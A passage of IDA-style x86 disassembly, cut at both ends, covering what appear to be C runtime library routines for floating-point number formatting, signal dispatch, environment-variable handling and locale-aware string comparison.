sub_4256C2+17Fj cmp edi, 15h jle short loc_425853 push 15h pop edi loc_425853: ; CODE XREF: sub_4256C2+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425869: ; CODE XREF: sub_4256C2+1B4j lea eax, [ebp+var_10] push eax call sub_4250CF dec [ebp+arg_14] pop ecx jnz short loc_425869 test esi, esi jge short loc_425893 neg esi and esi, 0FFh jle short loc_425893 loc_425886: ; CODE XREF: sub_4256C2+1CFj lea eax, [ebp+var_10] push eax call sub_4250FD dec esi pop ecx jnz short loc_425886 loc_425893: ; CODE XREF: sub_4256C2+1B8j ; sub_4256C2+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4258F0 mov [ebp+arg_C], ecx loc_4258A3: ; CODE XREF: sub_4256C2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4250CF lea eax, [ebp+var_10] push eax call sub_4250CF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425071 lea eax, [ebp+var_10] push eax call sub_4250CF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4258A3 mov eax, [ebp+arg_14] loc_4258F0: ; CODE XREF: sub_4256C2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42592D loc_4258FD: ; CODE XREF: sub_4256C2+248j cmp eax, ecx jb short loc_425910 cmp byte ptr [eax], 39h jnz short loc_42590C mov byte ptr [eax], 30h dec eax jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_42590C: ; CODE XREF: sub_4256C2+242j cmp eax, ecx jnb short loc_425914 loc_425910: ; CODE XREF: sub_4256C2+23Dj inc eax inc word ptr [ebx] loc_425914: ; CODE XREF: sub_4256C2+24Cj inc byte ptr [eax] loc_425916: ; CODE XREF: sub_4256C2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425925: ; CODE XREF: sub_4256C2+F0j mov eax, [ebp+var_4] loc_425928: ; CODE XREF: sub_4256C2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42592D: ; CODE XREF: sub_4256C2+239j ; sub_4256C2+275j cmp eax, ecx jb short loc_42593D cmp byte ptr [eax], 30h jnz short loc_425939 dec eax jmp short loc_42592D ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_4256C2+272j cmp eax, ecx jnb short loc_425916 loc_42593D: ; CODE XREF: sub_4256C2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42594C: ; CODE XREF: sub_4256C2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425928 sub_4256C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425955 proc near ; CODE XREF: sub_42255C+226Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4259BC dec eax dec eax jz short loc_4259AD sub eax, 4 jz short loc_4259AD sub eax, 3 jz short loc_4259AD sub eax, 4 jz short loc_4259A0 sub eax, 6 jz short loc_425993 dec eax jz short loc_425986 or eax, 0FFFFFFFFh jmp loc_425A7E ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425955+27j mov esi, dword_4DB57C mov eax, offset dword_4DB57C jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_425993: ; CODE XREF: sub_425955+24j mov esi, dword_4DB578 mov eax, offset dword_4DB578 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259A0: ; CODE XREF: sub_425955+1Fj mov esi, dword_4DB580 mov eax, offset dword_4DB580 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259AD: ; CODE XREF: sub_425955+10j ; sub_425955+15j ... push edi call sub_425A82 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259BC: ; CODE XREF: sub_425955+Cj mov esi, dword_4DB574 mov eax, offset dword_4DB574 loc_4259C7: ; CODE XREF: sub_425955+3Cj ; sub_425955+49j ... cmp esi, 1 jnz short loc_4259D3 xor eax, eax jmp loc_425A7E ; --------------------------------------------------------------------------- loc_4259D3: ; CODE XREF: sub_425955+75j test esi, esi jnz short loc_4259DE push 3 call sub_41B7C2 loc_4259DE: ; CODE XREF: sub_425955+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4259F0 cmp edi, 0Bh jz short loc_4259F0 cmp edi, 4 jnz short loc_425A16 loc_4259F0: ; CODE XREF: sub_425955+8Fj ; sub_425955+94j mov ebx, dword_4DB350 and dword_4DB350, 0 cmp edi, ecx jnz short loc_425A45 mov edx, dword_43C94C mov dword_43C94C, 8Ch mov [ebp+arg_0], edx jmp short loc_425A19 ; --------------------------------------------------------------------------- loc_425A16: ; CODE XREF: sub_425955+99j mov ebx, [ebp+arg_0] loc_425A19: ; CODE XREF: sub_425955+BFj cmp edi, ecx jnz short loc_425A45 mov eax, dword_43C940 mov ecx, dword_43C944 add ecx, eax cmp eax, ecx jge short loc_425A4C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43C8D0h[edx*4] loc_425A3A: ; CODE XREF: sub_425955+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425A3A jmp short loc_425A4C ; --------------------------------------------------------------------------- loc_425A45: ; CODE XREF: sub_425955+AAj ; sub_425955+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425A5A loc_425A4C: ; CODE XREF: sub_425955+D7j ; sub_425955+EEj push dword_43C94C push 8 call esi pop ecx pop ecx jmp short loc_425A68 ; --------------------------------------------------------------------------- loc_425A5A: ; CODE XREF: sub_425955+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425A68 cmp edi, 4 jnz short loc_425A7B loc_425A68: ; CODE XREF: sub_425955+103j ; sub_425955+10Cj cmp edi, 8 mov dword_4DB350, ebx jnz short loc_425A7B mov eax, [ebp+arg_0] mov dword_43C94C, eax loc_425A7B: ; CODE XREF: sub_425955+111j ; sub_425955+11Cj xor eax, eax pop ebx loc_425A7E: ; CODE XREF: sub_425955+2Cj ; sub_425955+79j pop edi pop esi pop ebp retn sub_425955 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A82 proc near ; CODE XREF: sub_425955+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C948 cmp dword_43C8CC, edx push esi mov eax, offset dword_43C8C8 jz short loc_425AB0 lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_425AA4: ; CODE XREF: sub_425A82+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425AB0 cmp [eax+4], edx jnz short loc_425AA4 loc_425AB0: ; CODE XREF: sub_425A82+16j ; sub_425A82+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx jnb short loc_425AC4 cmp [eax+4], edx jz short locret_425AC6 loc_425AC4: ; CODE XREF: sub_425A82+3Bj xor eax, eax locret_425AC6: ; CODE XREF: sub_425A82+40j retn sub_425A82 endp ; =============== S U B R O U T I N E ======================================= sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p arg_0 = dword ptr 4 cmp dword_4DC910, 0 push ebx push esi mov esi, dword_4DB2A0 push edi jz short loc_425B3E test esi, esi jnz short loc_425AF8 cmp dword_4DB2A8, esi jz short loc_425B3E call sub_425E95 test eax, eax jnz short loc_425B3E mov esi, dword_4DB2A0 test esi, esi jz short loc_425B3E loc_425AF8: ; CODE XREF: sub_425AC7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425B3E push ebx call sub_41AFE0 pop ecx mov edi, eax loc_425B09: ; CODE XREF: sub_425AC7+6Dj mov eax, [esi] test eax, eax jz short loc_425B3E push eax call sub_41AFE0 cmp eax, edi pop ecx jbe short loc_425B31 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425B31 push edi push ebx push eax call sub_425E56 add esp, 0Ch test eax, eax jz short loc_425B36 loc_425B31: ; CODE XREF: sub_425AC7+51j ; sub_425AC7+59j add esi, 4 jmp short loc_425B09 ; --------------------------------------------------------------------------- loc_425B36: ; CODE XREF: sub_425AC7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425B40 ; --------------------------------------------------------------------------- loc_425B3E: ; CODE XREF: sub_425AC7+10j ; sub_425AC7+1Cj ... xor eax, eax loc_425B40: ; CODE XREF: sub_425AC7+75j pop edi pop esi pop ebx retn sub_425AC7 endp ; =============== S U B R O U T I N E ======================================= sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp ; sub_424F0A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 jnb short loc_425BAB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425BAB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425B84 and cl, 7Fh jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B84: ; CODE XREF: sub_425B44+39j cmp [esp+4+arg_4], 4000h jnz short loc_425B9F or cl, 80h loc_425B91: ; CODE XREF: sub_425B44+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425B44+48j mov dword_4DB278, 16h jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_425B44+Bj ; sub_425B44+27j mov dword_4DB278, 9 loc_425BB5: ; CODE XREF: sub_425B44+65j or eax, 0FFFFFFFFh pop esi retn sub_425B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BBA proc near ; CODE XREF: sub_4256C2+165p ; sub_425DDA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425DBA cmp cx, 7FFFh jnb loc_425DBA cmp dx, 0BFFDh ja loc_425DBA cmp dx, 3FBFh ja short loc_425C23 xor eax, eax jmp short loc_425C5D ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BBA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425C45 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425C45 xor eax, eax cmp [esi+4], eax jnz short loc_425C47 cmp [esi], eax jnz short loc_425C47 jmp loc_425DB4 ; --------------------------------------------------------------------------- loc_425C45: ; CODE XREF: sub_425BBA+71j ; sub_425BBA+79j xor eax, eax loc_425C47: ; CODE XREF: sub_425BBA+80j ; sub_425BBA+84j cmp cx, ax jnz short loc_425C6A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425C6A cmp [ebx+4], eax jnz short loc_425C6A cmp [ebx], eax jnz short loc_425C6A loc_425C5D: ; CODE XREF: sub_425BBA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425DD5 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425BBA+90j ; sub_425BBA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425C7A: ; CODE XREF: sub_425BBA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425CCE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425C96: ; CODE XREF: sub_425BBA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425050 add esp, 0Ch test eax, eax jz short loc_425CC1 mov eax, [ebp+var_4] inc word ptr [eax] loc_425CC1: ; CODE XREF: sub_425BBA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425C96 loc_425CCE: ; CODE XREF: sub_425BBA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425C7A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425D11 loc_425CEC: ; CODE XREF: sub_425BBA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425D0A lea eax, [ebp+var_24] push eax call sub_4250CF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425CEC loc_425D0A: ; CODE XREF: sub_425BBA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425D4A loc_425D11: ; CODE XREF: sub_425BBA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425D4A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425D2A: ; CODE XREF: sub_425BBA+184j test byte ptr [ebp+var_24], 1 jz short loc_425D33 inc [ebp+var_14] loc_425D33: ; CODE XREF: sub_425BBA+174j lea eax, [ebp+var_24] push eax call sub_4250FD dec ebx pop ecx jnz short loc_425D2A cmp [ebp+var_14], 0 jz short loc_425D4A or byte ptr [ebp+var_24], 1 loc_425D4A: ; CODE XREF: sub_425BBA+155j ; sub_425BBA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425D61 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425D96 loc_425D61: ; CODE XREF: sub_425BBA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425D93 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425D8E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425D88 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D88: ; CODE XREF: sub_425BBA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425BBA+1B5j inc [ebp+var_20+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D93: ; CODE XREF: sub_425BBA+1ABj inc [ebp+var_24+2] loc_425D96: ; CODE XREF: sub_425BBA+1A5j ; sub_425BBA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425DBA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425DB4: ; CODE XREF: sub_425BBA+86j mov [esi+0Ah], ax jmp short loc_425DD5 ; --------------------------------------------------------------------------- loc_425DBA: ; CODE XREF: sub_425BBA+42j ; sub_425BBA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425DD5: ; CODE XREF: sub_425BBA+ABj ; sub_425BBA+1FEj pop edi pop esi pop ebx leave retn sub_425BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDA proc near ; CODE XREF: sub_4251F1+440p ; sub_4256C2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43CDC8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425E53 jge short loc_425E02 mov eax, [ebp+arg_4] mov ebx, offset dword_43CF28 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425E02: ; CODE XREF: sub_425DDA+16j cmp [ebp+arg_8], ecx jnz short loc_425E0D mov eax, [ebp+arg_0] mov [eax], cx loc_425E0D: ; CODE XREF: sub_425DDA+2Bj cmp [ebp+arg_4], ecx jz short loc_425E53 push esi push edi loc_425E14: ; CODE XREF: sub_425DDA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425E4C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425E3F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425E3F: ; CODE XREF: sub_425DDA+57j push esi push [ebp+arg_0] call sub_425BBA pop ecx pop ecx xor ecx, ecx loc_425E4C: ; CODE XREF: sub_425DDA+49j cmp [ebp+arg_4], ecx jnz short loc_425E14 pop edi pop esi loc_425E53: ; CODE XREF: sub_425DDA+14j ; sub_425DDA+36j pop ebx leave retn sub_425DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep ; sub_426332+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425E63 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425E63: ; CODE XREF: sub_425E56+7j push dword_4DC6C4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DC8E4 call sub_425F03 add esp, 1Ch test eax, eax jnz short loc_425E90 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425E90: ; CODE XREF: sub_425E56+31j add eax, 0FFFFFFFEh pop ebp retn sub_425E56 endp ; =============== S U B R O U T I N E ======================================= sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep ; sub_4261AB+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DB2A8 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425EF6 mov ebx, dword_42717C loc_425EAE: ; CODE XREF: sub_425E95+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425EFE push ebp call sub_41B4D5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425EFE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425EFE push edi push [esp+18h+var_4] call sub_4261AB mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425EAE loc_425EF6: ; CODE XREF: sub_425E95+11j xor eax, eax loc_425EF8: ; CODE XREF: sub_425E95+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425EFE: ; CODE XREF: sub_425E95+29j ; sub_425E95+38j ... or eax, 0FFFFFFFFh jmp short loc_425EF8 sub_425E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F03 proc near ; CODE XREF: sub_425E56+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CF0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DB588, ebx push 1 pop edi jnz short loc_425F76 push edi mov eax, offset dword_427940 push eax push edi push eax push ebx push ebx nop call near ptr 25E0000h test eax, eax jz short loc_425F53 mov dword_4DB588, edi jmp short loc_425F76 ; --------------------------------------------------------------------------- loc_425F53: ; CODE XREF: sub_425F03+46j push edi mov eax, offset dword_4CAE2C push eax push edi push eax push ebx push ebx call near ptr 25E072Ah nop test eax, eax jz loc_42616C mov dword_4DB588, 2 loc_425F76: ; CODE XREF: sub_425F03+31j ; sub_425F03+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425F8D push esi push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425F8D: ; CODE XREF: sub_425F03+78j cmp [ebp+arg_14], ebx jle short loc_425FA2 push [ebp+arg_14] push [ebp+arg_10] call sub_426180 pop ecx pop ecx mov [ebp+arg_14], eax loc_425FA2: ; CODE XREF: sub_425F03+8Dj mov eax, dword_4DB588 cmp eax, 2 jnz short loc_425FC7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25E072Ah jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425F03+A7j cmp eax, edi jnz loc_42616C cmp [ebp+arg_18], ebx jnz short loc_425FDC mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_425FDC: ; CODE XREF: sub_425F03+CFj cmp esi, ebx jz short loc_425FE9 cmp [ebp+arg_14], ebx jnz loc_426081 loc_425FE9: ; CODE XREF: sub_425F03+DBj cmp esi, [ebp+arg_14] jnz short loc_425FF6 loc_425FEE: ; CODE XREF: sub_425F03+13Cj ; sub_425F03+16Dj push 2 loc_425FF0: ; CODE XREF: sub_425F03+146j pop eax jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FF6: ; CODE XREF: sub_425F03+E9j cmp [ebp+arg_14], edi jle short loc_426002 loc_425FFB: ; CODE XREF: sub_425F03+151j ; sub_425F03+159j ... mov eax, edi jmp loc_42616E ; --------------------------------------------------------------------------- loc_426002: ; CODE XREF: sub_425F03+F6j cmp esi, edi jg short loc_426047 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] nop call near ptr 28A0000h test eax, eax jz loc_42616C cmp esi, ebx jle short loc_42604B cmp [ebp+var_3C], 2 jb short loc_426047 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426047 loc_42602D: ; CODE XREF: sub_425F03+142j mov dl, [eax+1] cmp dl, bl jz short loc_426047 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426041 cmp cl, dl jbe short loc_425FEE loc_426041: ; CODE XREF: sub_425F03+138j inc eax inc eax cmp [eax], bl jnz short loc_42602D loc_426047: ; CODE XREF: sub_425F03+101j ; sub_425F03+120j ... push 3 jmp short loc_425FF0 ; --------------------------------------------------------------------------- loc_42604B: ; CODE XREF: sub_425F03+11Aj cmp [ebp+arg_14], ebx jle short loc_426081 cmp [ebp+var_3C], 2 jb short loc_425FFB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425FFB loc_42605E: ; CODE XREF: sub_425F03+177j mov dl, [eax+1] cmp dl, bl jz short loc_425FFB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426076 cmp cl, dl jbe loc_425FEE loc_426076: ; CODE XREF: sub_425F03+169j inc eax inc eax cmp [eax], bl jnz short loc_42605E jmp loc_425FFB ; --------------------------------------------------------------------------- loc_426081: ; CODE XREF: sub_425F03+E0j ; sub_425F03+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call near ptr 2800000h nop mov [ebp+var_1C], eax cmp eax, ebx jz loc_42616C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4260D0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4260D0: ; CODE XREF: sub_425F03+1B5j cmp [ebp+var_24], ebx jz loc_42616C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427180 call esi test eax, eax jz short loc_42616C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42616C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42613B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42613B: ; CODE XREF: sub_425F03+224j cmp edi, ebx jz short loc_42616C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call near ptr 2800000h nop test eax, eax jz short loc_42616C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25E0000h jmp short loc_42616E ; --------------------------------------------------------------------------- loc_42616C: ; CODE XREF: sub_425F03+63j ; sub_425F03+C6j ... xor eax, eax loc_42616E: ; CODE XREF: sub_425F03+BFj ; sub_425F03+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425F03 endp ; =============== S U B R O U T I N E ======================================= sub_426180 proc near ; CODE XREF: sub_422ACA+81p ; sub_425F03+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42619D loc_426190: ; CODE XREF: sub_426180+1Bj cmp byte ptr [eax], 0 jz short loc_42619D inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_426190 loc_42619D: ; CODE XREF: sub_426180+Ej ; sub_426180+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4261A8 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4261A8: ; CODE XREF: sub_426180+21j mov eax, edx retn sub_426180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261AB proc near ; CODE XREF: sub_425E95+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42620F push 3Dh push [ebp+arg_0] call sub_4263F1 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42620F cmp [ebp+arg_0], esi jz short loc_42620F mov eax, dword_4DB2A0 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DB2A4 jnz short loc_4261F5 push eax call sub_42638A pop ecx mov dword_4DB2A0, eax loc_4261F5: ; CODE XREF: sub_4261AB+3Cj cmp eax, edi jnz short loc_42624D cmp [ebp+arg_4], edi jz short loc_426217 cmp dword_4DB2A8, edi jz short loc_426217 call sub_425E95 test eax, eax jz short loc_42624D loc_42620F: ; CODE XREF: sub_4261AB+Dj ; sub_4261AB+22j ... or eax, 0FFFFFFFFh loc_426212: ; CODE XREF: sub_4261AB+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_4261AB+51j ; sub_4261AB+59j cmp ebx, edi jnz loc_42632B push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A0, eax jz short loc_42620F mov [eax], edi cmp dword_4DB2A8, edi jnz short loc_42624D push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A8, eax jz short loc_42620F mov [eax], edi loc_42624D: ; CODE XREF: sub_4261AB+4Cj ; sub_4261AB+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DB2A0 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426332 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4262AD cmp dword ptr [edi], 0 jz short loc_4262AD test ebx, ebx jz short loc_4262A5 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B0B1 pop ecx loc_42627F: ; CODE XREF: sub_4261AB+E2j cmp dword ptr [edi], 0 jz short loc_42628F mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42627F ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_4261AB+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B202 pop ecx test eax, eax pop ecx jz short loc_4262DF jmp 